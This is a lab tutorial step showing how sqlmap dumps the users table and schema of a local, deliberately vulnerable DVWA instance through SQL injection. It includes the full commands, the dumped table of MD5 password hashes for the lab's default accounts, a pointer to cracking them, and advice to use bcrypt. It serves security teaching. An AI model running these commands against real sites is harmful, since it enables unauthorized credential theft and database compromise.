Analyze Retrieved Data
In this step, we'll examine the sensitive database information that sqlmap successfully extracted through SQL injection. This demonstrates the real-world impact of SQL injection vulnerabilities by showing exactly what data attackers can access.
- First, let's retrieve all data from the 'users' table in the DVWA database. This command builds on what we did previously, but now we're specifically targeting the users table to see credential information (replace with your session cookie):
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch
The -D dvwa specifies the database, -T users targets the users table, and --dump retrieves all its contents.
- The output reveals sensitive user information stored in the database:
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg | NULL | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL | 0 |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
Notice the password column contains MD5 hashes instead of plaintext passwords. While this is better than storing raw passwords, MD5 is considered cryptographically broken and vulnerable to rainbow table attacks.
-
You can attempt to crack these hashes using online tools like CrackStation by copying and pasting the hash values. This shows how weak hashing algorithms can be reversed to reveal original passwords.
-
To understand the complete database structure, we can retrieve its schema:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch
The --schema flag reveals all tables and their column structures, giving attackers a roadmap of the entire database. This is extremely valuable information for further exploitation.
Key takeaways for beginners:
- The
--dump parameter extracts all data from a specified table
- MD5 hashes can often be cracked using precomputed rainbow tables
- Database schema information helps attackers understand the data structure
- This exercise demonstrates how a single SQL injection vulnerability can lead to complete database compromise
- Always use strong, salted hashing algorithms like bcrypt for password storage
